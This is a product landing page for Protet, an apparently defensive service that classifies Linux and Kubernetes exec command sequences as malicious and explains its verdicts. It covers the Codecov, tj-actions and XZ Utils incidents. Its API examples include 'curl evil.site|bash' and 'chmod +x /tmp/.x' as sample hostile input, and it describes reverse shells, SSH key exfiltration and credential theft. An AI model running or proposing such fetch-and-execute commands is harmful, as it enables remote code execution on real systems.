Sequence-aware exec classification
for Kubernetes and Linux
Send your execv events. Get a malicious/benign verdict on the full command chain — with per-command attribution showing exactly which commands drove the score. No rules to write. No signatures to maintain.
These attacks happened. Would you have caught them?
Each of these incidents shares the same structure: malicious commands hidden inside otherwise legitimate shell scripts, invisible to signature-based tools, running undetected for weeks or months. This is precisely the threat Protet is built to detect.
Codecov Supply Chain Attack
A single curl line was injected into a 400-line legitimate bash uploader script.
It ran silently in CI pipelines for two months, exfiltrating environment variables —
credentials, API tokens, signing keys — from every pipeline that sourced it.
Victims: Twilio, HashiCorp, Confluent, U.S. Department of Homeland Security.
Why tools missed it: no signature matched. The script was legitimate 99.75% of the time.
One malicious curl in 400 lines — a 0.25% payload density.
Protet classifies the sequence. That curl to an external IP combined with the surrounding
env access patterns scores high regardless of whether the URL is known.
tj-actions/changed-files Compromise
Malicious shell code was injected into a widely-used GitHub Actions step. It dumped CI runner memory — including secrets, tokens, and environment variables — to the workflow log, readable by anyone with repo access.
Affected: 23,000 GitHub repositories across the ecosystem.
Why tools missed it: the action itself looked normal. The memory dump command was the only malicious element in an otherwise legitimate pipeline step. A sequence classifier sees the combination of memory access and outbound data movement as a high-risk pattern.
XZ Utils Backdoor
A backdoor was hidden inside Autoconf and bash build scripts for two years, nearly reaching every glibc Linux system globally. It was caught accidentally by a Microsoft engineer noticing SSH connection slowness — not by any security tool.
Targeted: systemd-linked sshd on Debian, Ubuntu, Fedora, openSUSE.
Why tools missed it: no signature existed. The malicious build script behaviour was indistinguishable from noise to any rule-based system. Caught by a human, two years after insertion.
Designed for how attacks actually work
Sequence-Aware Classification
Commands are classified as a chain, not in isolation. A single curl to an external IP is noise. That same curl preceded by env, cat /etc/passwd, and id is an attack. Protet sees the difference.
Attack Chain Highlighting
Every verdict comes with the specific commands that form the malicious chain, extracted from the surrounding legitimate activity. Not a black box — evidence your analyst can act on and attach to an incident ticket.
REST API + WebSocket
Submit events via POST /events. Results stream to WebSocket subscribers in real-time. Works with Splunk, Elastic, Sentinel, PagerDuty, or any JSON consumer. No custom integration layer needed.
SaaS or Self-Hosted
The cloud API is free. For environments where data cannot leave your network — air-gapped clusters, regulated industries — the on-premise option keeps everything inside. Same API, different deployment.
From exec event to flagged attack chain in milliseconds
Capture
An eBPF sensor (Tetragon, Falco, or custom) captures execv events from your containers or Linux servers.
Forward
POST each exec event to the Protet API. Only the command string and minimal context — no full logs, no log forwarding infrastructure needed.
curl -X POST https://api.protet.io/events \
-H "api-key: YOUR_KEY" \
-d '{"cmd":"curl evil.site|bash",
"context":{"entity_id":"ns/pod"}}'
Classify + Explain
Protet maintains a sliding window per entity, classifies the chain, and returns a verdict with the flagged attack chain highlighted. Results stream to your WebSocket subscribers or SIEM in real-time.
{
"classification": "malicious",
"malicious_probability": 0.97,
"flagged_commands": [
"curl evil.site | bash",
"chmod +x /tmp/.x"
]
}
Not just a score — the exact attack chain
A black-box "malicious: true" is an alert. A highlighted chain is evidence. When Protet fires, it returns the specific commands that form the malicious chain — extracted from the surrounding legitimate activity. Your analyst sees exactly what to investigate, before touching a terminal.
pip install, npm ci — are excluded.
Protet reads the full sequence and surfaces only what's malicious.
Falco and Tetragon capture. Protet classifies.
Falco and Tetragon are excellent at what they do — capturing system-level events with near-zero overhead. Protet adds a different layer: sequence-based classification across the full command chain from each entity, plus the exact attack chain highlighted.
Protet does not capture events. You still need an eBPF sensor. The two are complementary by design. See benchmark vs ClamAV, YARA, Semgrep, and Claude Sonnet →
See the exact attack chain highlighted
A real attack chain window is sent as a single request to the API. The explainability engine pinpoints the minimal set of commands responsible for the malicious classification — extracted from the surrounding legitimate activity.
Concrete scenarios. Real output.
Each scenario follows the same pattern: commands that look individually harmless, a chain that doesn't match any known signature, and a Protet verdict with the attack chain highlighted.
Pod RCE → Reverse Shell
An attacker gains RCE in a Django sidecar. They run id, cat /etc/passwd, then open a reverse shell. No single command trips a Falco rule — together they score 0.94.
Supply Chain Implant (Codecov-style)
A compromised dependency executes wget + chmod +x + runs a binary during an otherwise normal build pipeline. 1 malicious command in 40 legitimate ones.
SSH Key Exfiltration
An attacker with shell access reads ~/.ssh/id_rsa then POSTs it via curl. No known malware signature. Protet sees the access-then-exfiltrate sequence and scores it high.
K8s Credential Theft
A pod reads its service account token, queries the API server for secrets, then exfiltrates. A slight variation on the known pattern — enough to evade YARA rules, not enough to fool a sequence classifier.
curl flag order or URL structure produces zero rule matches.Common questions
cmd (the command string) and context.entity_id (your pod or host identifier). Protet handles windowing internally — you don't batch commands yourself. The sync response includes classification, malicious_probability, and command_window. The /explain endpoint adds flagged_commands with per-command contribution scores. Full schema in the docs →/explain. The response includes baseline_score (overall malicious probability), flagged_commands (the minimal set responsible for the verdict), and found_at_order (at which command in the sequence the classification threshold was crossed). Each flagged command can be ranked by its contribution to the final score. See the live demo on this page for a real example, or the docs for the full schema.One POST request to your first classification
Free SaaS API. Unlimited keys. No infrastructure changes. No rules to write.